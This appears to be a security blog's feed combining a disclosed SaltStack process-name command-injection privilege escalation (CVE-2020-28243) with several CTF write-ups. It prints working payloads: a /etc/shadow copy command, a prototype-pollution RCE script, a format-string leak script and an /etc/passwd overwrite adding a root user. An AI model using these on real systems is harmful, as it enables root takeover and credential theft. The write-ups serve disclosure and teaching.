The vulnerable code is at line 615 in restartcheck.py where subprocess.Popen is called with shell=True and a command that can be maniplulated by an attacker:

cmd = cmd_pkg_query + package
paths = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)

Where package is formed from the process name and cmd_pkg_query is one of the following depending on the OS:

  • Debian: dpkg-query --listfiles
  • RedHat: repoquery -l
  • NILinuxRT: opkg files

If we can insert a bash control character such as ; | && etc into the process name we can trigger the injection when this code is reached.

However, to reach this code, a process first needs to have a filehandler open to a file with a filename that ends in (deleted), and this file needs to reside in a directory that is not explicitly forbidden.

The list of forbidden directories can be seen here. This deny list immediately rules out some of the more obvious places we might try to use such as /tmp or /dev/shm, however, there are a few common ones that a low privileged user may have access to such as:

  • /var/crash
  • /var/spool/samba
  • /var/www

Process names

During this research, it turned out that process names can be a surprisingly tricky thing to modify reliably, and a process name listed by ps may not be the same returned by the Python psutil library.

In Linux, process names can contain any characters (apart from null). Any user can start processes on a system and the process itself can set the process name. They are a good target for command injection vulnerabilities as developers are unlikely to expect process names to contain special characters or injections.

It is possible to use exec -a to directly set a process name; however, this doesn't work in busybox or sh shells and doesn't appear to show the same name when using psutil. It's also possible to modify the process name by directly manipulating procfs however this also leads to inconsistent results.

So in the end, the simplest and most consistent way to set a process name is to rename the binary or script being run. As filenames in Linux cannot contain / this restricts the commands we can inject, however using base64 encoding it is trivial to bypass this restriction as shown below:

# If we wanted to copy the shadow file to /tmp we could run this 
cp /etc/shadow /tmp/shadow

# Convert it to a base64 string
echo cp /etc/shadow /tmp/shadow | base64 -w0

# The result of the conversion
Y3AgL2V0Yy9zaGFkb3cgL3RtcC9zaGFkb3cK

# The new command we need to run
echo Y3AgL2V0Yy9zaGFkb3cgL3RtcC9zaGFkb3cK|base64 -d|sh -i

Exploit

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Usage of the proof of concept exploit.sh script

For this exploit to work, a writable directory that isn't explicitly forbidden by SaltStack is required. Running the proof of concept script with no arguments will search for directories that match this restriction.

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Example script output showing potential writable directories

Then by passing a suitable writable directory with the -w flag and a command with the -c flag, a process will be created containing the command injection in the process name and an open file handler that will cause the exploit to be triggered when the master calls restartcheck.

Let's step through the process of performing the exploit to demonstrate the vulnerability. We aim to create a simple file as the root user. First, we run the script providing the proper flags:

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Running exploit script. Highlighted 1: process name 2: filehandler

Now that we've confirmed the malicious process is running with a command injection in the name and a filehandler open, we can issue the restartcheck.restartcheck command on the SaltStack master. Once this has completed, we can check for the existence of the hacked file in the root directory.

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Proof that the exploit has worked and we have code execution as the root user

That's great but writing files is dull, lets do something a bit cooler. How about getting a shell as root? The video below shows one way of doing this by copying the find binary and making it suid:

For additional context the screenshot below shows how the exploit above appears from the master's point of view:

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Command injection from the master's POV, highlighted line shows the injection

Additional Security Considerations

The above discusses the exploitation of this vulnerability locally to escalate privileges to the root user; however, there a couple of additional security concerns that should be considered:

Container Escape

As containerized processes are listed on the host machine, this exploit could be performed from within a container to gain command execution as root on the host machine.

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Top: Process started inside a container, Bottom: Container process listed by ps on the host

Potential For Unprivileged RCE

While somewhat unlikely, there is potential for this attack to be performed by an attacker without local shell access. This is because, under certain circumstances, a remote user can influence process names.

Timeline

SaltStack were very fast to respond and the whole timeline for discovery and disclosure can be seen below:

05 Nov 2020 — Vulnerability discovered
05 Nov 2020 — SaltStack notified
05 Nov 2020 — SaltStack investigating
06 Nov 2020 — CVE ID assigned
07 Nov 2020 — SaltStack confirmed vulnerability
18 Nov 2020 — SaltStack notified intention to release fix in Jan
22 Jan 2021 — Security fix announced for 4th Feb
04 Feb 2021 — Security fix delayed to 25th Feb
25 Feb 2021 — Security fix released (+91 days)

Summary

CVE-2020-28243 SaltStack Minion Local Privilege Escalation

Developing and maintaining secure code is difficult and who the hell expects process names to be malicious? Hit me up on twitter if you have any questions or feedback, this was my first CVE so be kind.

]]>
<![CDATA[HTB CTF Write-up: Gunship]]>https://sec.stealthcopter.com/htb-ctf-write-up-gunship/5fb9a07273fca200012759e5Thu, 10 Dec 2020 13:02:00 GMT

The HTB x Uni CTF 2020 - Qualifiers have just finished and I wanted write-up some of the more interesting challenges that we completed.

As with many of the challenges the full source code was available including the files necessary to build and run a local docker instance of the service.

Summary

Gunship was a node web application that was vulnerable to prototype pollution.

Walk Through

This is a simple yet beautifully designed node web application that contains a single user input, hinting towards where to find the vulnerability.

HTB CTF Write-up: Gunship
Some UI love has clearly gone into the designs for these challenges

Inspection of the source code reveals a comment that hints towards the exploit being caused by prototype pollution in unflatten.

unflatten seems outdated and a bit vulnerable to prototype pollution we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines
const path              = require('path');
const express           = require('express');
const handlebars        = require('handlebars');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
	// unflatten seems outdated and a bit vulnerable to prototype pollution
	// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

Some google-fu leads us pretty quickly to the following site with a POC by posix on a protype pollution in AST:

AST Injection, Prototype Pollution to RCE
This article describes how to trigger RCEin two well-known template engines,using a new technique called AST Injection.AST InjectionWhat is AST?https://en.wikipedia.org/wiki/Abstract_syntax_treeAST in
HTB CTF Write-up: Gunship

The proof of concept from the site above only required minor changes in order to get command execution. Note that bash is not available inside the docker container, we could use sh instead but as we only need to grab the flag we can just use simple commands.

import requests

TARGET_URL = 'http://localhost:1337'
TARGET_URL = 'http://docker.hackthebox.eu:30448'

# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {
    "artist.name":"Gingell",
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`whoami > /app/static/out`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
    })

print(r.status_code)
print(r.text)

print(requests.get(TARGET_URL+'/static/out').text)

The command execution is blind, however as we know that the path to the static folder is /app/static we can write files into this path and then request them to see the output.

A quick ls > /app/static/out and browsing to /static/out shows that there is a flag in the current folder.

HTB CTF Write-up: Gunship

Changing the command to cat flag* > /app/static/out and browsing to /static/out again gives us the flag:

HTB CTF Write-up: Gunship

This gives us the flag for this challenge:

HTB{wh3n_l1f3_g1v3s_y0u_p6_st4rt_p0llut1ng_w1th_styl3}

Other Challenges

HTB CTF Write-up: Cargo Delivery
Cargo Delivery was a Python command line application that uses AES CBC encryption and is vulnerable to a padding oracle attack.
HTB CTF Write-up: Gunship
HTB CTF Write-up: Cached Web
The HTB x Uni CTF 2020[https://www.hackthebox.eu/universities/university-ctf-2020] - Qualifiers havejust finished and I wanted to write-up some of the more interesting challengesthat we completed. As with many of the challenges the full source code was available including thefiles necessary to …
HTB CTF Write-up: Gunship
]]>
<![CDATA[HTB CTF Write-up: Cargo Delivery]]>https://sec.stealthcopter.com/htb-ctf-writeup-cargo-delivery/5fb97df673fca20001275929Thu, 10 Dec 2020 13:01:00 GMT

The HTB x Uni CTF 2020 - Qualifiers have just finished and I wanted to write-up some of the more interesting challenges that we completed.

As with several of the challenges the server source code was available so that you could develop the exploit locally.

Summary

Cargo Delivery was a Python command line application that uses AES CBC encryption and is vulnerable to a padding oracle attack.

Walk-Through

The interface to this challenge presents two options: 1. Get an encrypted message (the flag) or 2. Send an encrypted message.

HTB CTF Write-up: Cargo Delivery

This corresponds to the main loop of the Python application and is shown below:

def challenge(req):
  req.sendall(bytes('This crypto service is used for Chasa\'s delivery system!\n'
    'Not your average gangster.\n'
    'Options:\n'
    '1. Get encrypted message.\n'
    '2. Send your encrypted message.\n', 'utf-8'))
  try:
    choice = req.recv(4096).decode().strip()

    index = int(choice)

    if index == 1:
      req.sendall(bytes(encrypt(flag) + '\n','utf-8'))
    elif index == 2:
      req.sendall(bytes('Enter your  ciphertext:\n', 'utf-8'))
      ct = req.recv(4096).decode().strip()
      req.sendall(bytes(is_padding_ok(bytes.fromhex(ct)), 'utf-8'))
    else:
      req.sendall(bytes('Invalid option!\n', 'utf-8'))
      exit(1)
  except:
    exit(1)

By inspecting the is_padding_ok function it becomes apparent that the app will return an error when the padding is incorrect in the provided ciphertext.

def is_padding_ok(data):
  if decrypt(data) is not None:
    return 'This is a valid ciphertext!\n'
  else:
    return 'Invalid ciphertext\n'

At first glance this may not seem interesting, but it can be used to to perform a padding oracle attack and decrypt the ciphertext one byte at a time.

I wrote a short bit of Python using pwntools that will automatically connect to the server and grab a copy of the ciphertext:

This gives the flag for this challenge:

HTB{CBC_0r4cl3}

Other Challenges

HTB CTF Write-up: Gunship
The HTB x Uni CTF 2020[https://www.hackthebox.eu/universities/university-ctf-2020] - Qualifiers havejust finished and I wanted write-up some of the more interesting challenges thatwe completed. As with many of the challenges the full source code was available including thefiles necessary to bui…
HTB CTF Write-up: Cargo Delivery
HTB CTF Write-up: Cached Web
The HTB x Uni CTF 2020[https://www.hackthebox.eu/universities/university-ctf-2020] - Qualifiers havejust finished and I wanted to write-up some of the more interesting challengesthat we completed. As with many of the challenges the full source code was available including thefiles necessary to …
HTB CTF Write-up: Cargo Delivery
]]>
<![CDATA[HTB CTF Write-up: Cached Web]]>https://sec.stealthcopter.com/htb-ctf-writeup-cached-web/5fb966cc73fca200012758d2Thu, 10 Dec 2020 13:00:00 GMT

The HTB x Uni CTF 2020 - Qualifiers have just finished and I wanted to write-up some of the more interesting challenges that we completed.

As with many of the challenges the full source code was available including the files necessary to build and run a local docker instance of the service.

Summary

The application is a simple flask web app that takes screenshots of websites and returns the cached image to the user. It has protections to prevent requests of resources from localhost that can be circumvented using a DNS rebinding attack.

HTB CTF Write-up: Cached Web

Walk Through

The first endpoint is at /cache and accepts a url (JSON over POST) and will take a screenshot of the url provided using a headless web browser and return the image.

@api.route('/cache', methods=['POST'])
def cache():
    print("Cache")
    if not request.is_json or 'url' not in request.json:
        return abort(400)
    
    return cache_web(request.json['url'])

@web.route('/flag')
@is_from_localhost
def flag():
    return send_file('flag.png')

The second is at /flag and simply returns the flag.png image, however there is a check that refuses to server this unless the request is from 127.0.0.1. The challenge seems simple enough but requesting http://127.0.0.1/flag from the cache reveals that the cache blocks all IPs that equate to localhost.

def cache_web(url):
    scheme = urlparse(url).scheme
    domain = urlparse(url).hostname
    if scheme not in ['http', 'https']:
        return flash('Invalid scheme', 'danger')
    def ip2long(ip_addr):
        return unpack("!L", socket.inet_aton(ip_addr))[0]
    def is_inner_ipaddress(ip):
        print("IP (1): %s"%ip)
        ip = ip2long(ip)
        return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
                ip2long('10.0.0.0') >> 24 == ip >> 24 or \
                ip2long('172.16.0.0') >> 20 == ip >> 20 or \
                ip2long('192.168.0.0') >> 16 == ip >> 16 or \
                ip2long('0.0.0.0') >> 24 == ip >> 24
    try:
        if is_inner_ipaddress(socket.gethostbyname(domain)):
            return flash('IP not allowed', 'danger')
        return serve_screenshot_from(url, domain)
    except Exception as e:
        print(e)
        return flash('Invalid domain', 'danger')

def is_from_localhost(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip

There are a couple hints inside this challenge, one is in the web page's title 'Rebind me' and another inside an image in the source:

HTB CTF Write-up: Cached Web
Hint image contained in the in the source code

TOCTOU stands for Time of Check Time of Use, and along with the DNS rebinding hints it's apparent that we need to rapidly modify the DNS binding for a domain. For the first check to pass, the resolved IP address must not be local, however the second time the IP is resolved it needs to be local so that the headless browser will give a screenshot of the flag.

We can provide the following URL to the web applications caching service in order to complete the challenge, remembering to add 1337 as this is the port the web app is listening on inside the container: http://7f000001.08080808.rbndr.us:1337/flag

This will now result in 3 different outcomes:

  1. FAIL The first check resolves to localhost which fails as it's not allowed in the cache_web function.
  2. FAIL - Both checks resolve to a remote address and the screenshot fails as the docker container does not allow internet traffic.
  3. WIN - The first check resolves to a remote address and the second one to localhost and we will get the flag!
HTB CTF Write-up: Cached Web
First check fails and we get IP not allowed
HTB CTF Write-up: Cached Web
The final flag after successfully completing a DNS rebinding TOCTOU attack on the web application

This gives us the flag for this challenge, which we have to type out manually...

HTB{pwn1ng_y0ur_DNS_r3s0lv3r_0n3_qu3ry_4t_4_t1m3}

Other Challenges

HTB CTF Write-up: Gunship
The HTB x Uni CTF 2020[https://www.hackthebox.eu/universities/university-ctf-2020] - Qualifiers havejust finished and I wanted write-up some of the more interesting challenges thatwe completed. As with many of the challenges the full source code was available including thefiles necessary to bui…
HTB CTF Write-up: Cached Web
HTB CTF Write-up: Cargo Delivery
Cargo Delivery was a Python command line application that uses AES CBC encryption and is vulnerable to a padding oracle attack.
HTB CTF Write-up: Cached Web
]]>
<![CDATA[Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)]]>https://sec.stealthcopter.com/metasploit-community-ctf-2020-dec-write-up-9-of-clubs-port-1337/5fce328273fca20001275ca6Mon, 07 Dec 2020 21:01:00 GMT

This fun little challenge was solved by our binary exploitation expert: benything.

Summary

The 9-of-clubs challenge is remote binary exploitation challenge. It features a basic command line application that can be exploited using format strings.

Walk-through

The application presents us with 3 options that all accept user input:

Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)
The 9 of clubs service

We can detect if the application is vulnerable to a format strings attack by sending a format specifier, %x %s %d etc. , and seeing if it is interpreted. One of the easiest is %x that will print the memory as an Unsigned hexadecimal integer. Using this on the 2nd options returns some hexadecimal output, bingo.

Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)
Test showing successful interpretation of a format specifier

We can now spam lots of %x to view what's in memory

Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)

Some of these are the variables stored on the stack, and some memory addresses that point to other variables. The repeated section of 25 78 20 are our %x's represented in hex.

Rather than entering lots of specifiers we can use specifiers that request a numbered argument such as %2$x. We can also replace our safe %x with %s in order to print out the string found at the memory location specified. This is known as dereferencing a pointer.

We can create a little pwntools script to iterate over the memory and print out any strings it finds

from pwn import *

def attack(num):
    try:
        p = remote('127.0.0.1',1337)
        
        p.recvuntil('Exit\n')

        p.sendline('2')

        p.recvuntil('name...\n')

        # Create format string specifier like '%3$s'
        p.sendline('%'+str(num)+'$s')

        # Get the reponse, containing derefrenced string
        resp = p.recvline()
        p.close()
        
        return resp
    except:
        return 'NULL'


for i in range(0,10):
    print(i, attack(i))

This turned out to be overkill as we only need to print the 10th argument in order to receive the flag:

Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)
pwntools script getting the flag

Flag

Unfortunately as this is a binary challenge the actual flag isn't shown, we are just given the md5:

b17ef17454081e89c084d5182d76c527

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.

]]>
<![CDATA[Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)]]>Summary

The ace-of-clubs challenge presented a SSH server on port 9009 that had an easy to guess login. This is followed by a privilege escalation to root in a custom binary using a file overwrite exploit.

Walk-through

This port is running a SSH server and if we connect to it

]]>
https://sec.stealthcopter.com/metasploit-community-ctf-2020-dec-write-up-ace-of-clubs-port-9009/5fcb6e7873fca20001275b1eMon, 07 Dec 2020 21:01:00 GMTSummaryMetasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)

The ace-of-clubs challenge presented a SSH server on port 9009 that had an easy to guess login. This is followed by a privilege escalation to root in a custom binary using a file overwrite exploit.

Walk-through

This port is running a SSH server and if we connect to it we are greeted with the following:

Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)

This lets us know that the username is admin and guessing the password to be password gets a low privilege shell.

Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)

A quick bit of enumeration shows there is a unusual binary at /opt/vpn_connect directory that is owned by root and is suid.

Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)

The usage message from this binary shows that we should provide 3 arguments, the username, the password and a log file.

Usage:
    ./vpn_connect -u <user> -p <password -l <log_path>

A quick inspection of this binary shows it is calling a shared library /usr/lib/libvpnauthcustom.so. Analyzing this shared object gives us the username and password of username:securePass however this isn't really of any use as it's the logging that this binary does that is the important bit.

The log file provided will be cleared and the following will be written into it:

Attempting to connect to server with hi and securePass

Connection handled

Authentication failed

As the binary is suid and owned by root, then when this logfile is created it will be done so as root which means we can use this to overwrite arbitrary files with this log content.

In order for this to be exploitable we need to be able to write newline characters inside of arguments this can be done using the following: $'\nexample argument with\nnewlines\n'

There are a few ways we can typically use this to escalate privileges to root such as adding a cronjob, adding users or modifying passwords. As we're in a docker container and cron isn't running, adding a new user to /etc/passwd is the easiest route.

Thankfully /etc/passwd is quite robust and will ignore any lines that are malformed, so we can overwrite this file with garbage but as long as one of the lines contains a valid user we will be able to login. The command used to perform this overwrite is the following:

/opt/vpn_connect -u $'\nnew:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash\n' -p securePass -l /etc/passwd

This results in /etc/passwd becoming the following:

Attempting to connect to server with 
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
and securePass

Connection handled

Authentication failed
Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)
The overwritten /etc/passwd file with our new root user

Now that we have added a new root user user with a password hash we know the password for, 123, we can use the following to escalate to root.

su new
password: 123

In the new root shell we can now read the flag that's in /etc/ace-of-clubs.png

Flag

This gives the ace-of-clubs:

Metasploit Community CTF 2020 (Dec) Write-up: ace-of-clubs (port 9009)
Ace of clubs flag

And the md5sum of this flag gives:

9d00a7a90f78ba4705847ea96b418422

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.

]]>
<![CDATA[Metasploit Community CTF 2020 (Dec) Write-up: queen-of-hearts (port 9008 & 9010)]]>Summary

The queen-of-hearts challenge was on two ports, 9010 which contained a downloadable Java .jar file and 9008 which was the service that you needed to interact with. Initially it appeared that it was an insecure deserialisation exploit, and while it is likely that that was also present, the flag

]]>
https://sec.stealthcopter.com/metasploit-community-ctf-2020-dec-write-up-queen-of-hearts-port-9008-9010/5fcb967e73fca20001275bcdMon, 07 Dec 2020 21:01:00 GMTSummaryMetasploit Community CTF 2020 (Dec) Write-up: queen-of-hearts (port 9008 & 9010)

The queen-of-hearts challenge was on two ports, 9010 which contained a downloadable Java .jar file and 9008 which was the service that you needed to interact with. Initially it appeared that it was an insecure deserialisation exploit, and while it is likely that that was also present, the flag could be obtained using a simple logic flaw as the application was relying on a client-side check for authentication status.

Walk-through

Decompiling the QOH_Client.jar using jd-gui found on port 9010 gives us the source code for the client that connects to the service on port 9008. It is very simple and contains just two Java classes:

Metasploit Community CTF 2020 (Dec) Write-up: queen-of-hearts (port 9008 & 9010)
jd-gui decompiling the QOH_Client.jar file

AuthState.java

import java.io.Serializable;

public class AuthState implements Serializable {
    private static final long serialVersionUID = 123197894L;

    private boolean loggedIn = false;

    private String username = "Guest";

    public boolean isLoggedIn() {
        return true;
    }

    public void setLoggedInStatus(boolean paramBoolean) {
        this.loggedIn = paramBoolean;
    }
}

Client.java

import java.io.*;
import java.net.Socket;
import java.net.UnknownHostException;

public class Client {
    private Socket socket;

    private AuthState authState;

    private ObjectInputStream cliIn;

    private ObjectOutputStream cliOut;

    private BufferedReader userIn;

    public void printUsage() {
        System.out.println("Usage:\n\tjava -jar QOH_Client.jar <ip> <port>\n\n\twhere port is generally 9008");
    }

    public void cliLoop(String paramString, int paramInt) throws IOException, ClassNotFoundException {
        boolean bool = false;
        try {
            this.socket = new Socket(paramString, paramInt);
        } catch (UnknownHostException unknownHostException) {
            System.out.println("Failed to connect to host.");
            return;
        }
        this.cliIn = new ObjectInputStream(this.socket.getInputStream());
        this.cliOut = new ObjectOutputStream(this.socket.getOutputStream());
        this.userIn = new BufferedReader(new InputStreamReader(System.in));
        this.authState = (AuthState)this.cliIn.readObject();
        if (this.authState == null) {
            System.out.println("Could not receive the AuthState object");
            bool = true;
        }
        System.out.println("Successfully connected to the server!");
        while (!bool) {
            int i = -1;
            String str1 = "";
            str1 = this.cliIn.readUTF();
            System.out.println(str1);
            String str2 = this.userIn.readLine();
            try {
                i = Integer.parseInt(str2);
            } catch (NumberFormatException numberFormatException) {
                i = -1;
            }
            this.cliOut.writeInt(i);
            this.cliOut.flush();
            str1 = this.cliIn.readUTF();
            System.out.println(str1);
            if (str1.contains("invalid"))
                continue;
            switch (i) {
                case 1:
                    doList();
                case 2:
                    doDownload(this.userIn);
                case 3:
                    doAuthenticate(this.userIn);
            }
        }
    }

    public void doAuthenticate(BufferedReader paramBufferedReader) {
        String str = "";
        try {
            this.cliOut.writeObject(this.authState);
            str = this.cliIn.readUTF();
            System.out.println(str);
            if (str.contains("already authenticated"))
                return;
            String str1 = paramBufferedReader.readLine();
            this.cliOut.writeUTF(str1);
            this.cliOut.flush();
            str = this.cliIn.readUTF();
            System.out.println(str);
            this.authState = (AuthState)this.cliIn.readObject();
        } catch (IOException|ClassNotFoundException iOException) {
            System.out.println("Could not retrieve server's message regarding authentication");
            return;
        }
    }

    public void doList() {
        String str = "";
        try {
            str = this.cliIn.readUTF();
            System.out.println(str);
            str = this.cliIn.readUTF();
        } catch (IOException iOException) {
            System.out.println("Failed to receive a file listing from the server.");
            return;
        }
        System.out.println(str);
    }

    public void doDownload(BufferedReader paramBufferedReader) {
        String str = "";
        try {
            String str1;
            str = this.cliIn.readUTF();
            System.out.println(str);
            this.cliOut.writeObject(this.authState);
            str = this.cliIn.readUTF();
            System.out.println(str);
            if (str.contains("not authenticated"))
                return;
            do {
                str = this.cliIn.readUTF();
                System.out.println(str);
                str1 = paramBufferedReader.readLine();
                this.cliOut.writeUTF(str1);
                this.cliOut.flush();
                str = this.cliIn.readUTF();
                System.out.println(str);
            } while (!str.contains("Sending"));
            FileOutputStream fileOutputStream = new FileOutputStream(str1);
            int i = this.cliIn.readInt();
            System.out.println("File size received is " + i);
            byte[] arrayOfByte = new byte[i];
            this.cliIn.readFully(arrayOfByte, 0, i);
            fileOutputStream.write(arrayOfByte);
            fileOutputStream.close();
        } catch (IOException iOException) {
            System.out.println("Unable to download from the server");
        }
    }

    public static void main(String[] paramArrayOfString) throws IOException, ClassNotFoundException {
        Client client = new Client();
        if (paramArrayOfString.length != 2) {
            client.printUsage();
            return;
        }
        String str = paramArrayOfString[0];
        int i = Integer.parseInt(paramArrayOfString[1]);
        client.cliLoop(str, i);
        client.cliIn.close();
        client.cliOut.close();
        client.userIn.close();
    }
}

If we set the loggedIn status on the authState object before it is sent to the server using this.authState.getLoggedInStatus(true); at the start of the doDownload method it is enough to trick the server into thinking we are logged in. Then the server will allow us to download the files. All we have to do is request the queen_of_hearts.png from the server and we're done:

Metasploit Community CTF 2020 (Dec) Write-up: queen-of-hearts (port 9008 & 9010)
Modified client downloading the queen_of_hearts.png

Flag

This gives the queen-of-hearts:

Metasploit Community CTF 2020 (Dec) Write-up: queen-of-hearts (port 9008 & 9010)

And the md5sum of this flag gives:

9d00a7a90f78ba4705847ea96b418422

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.

]]>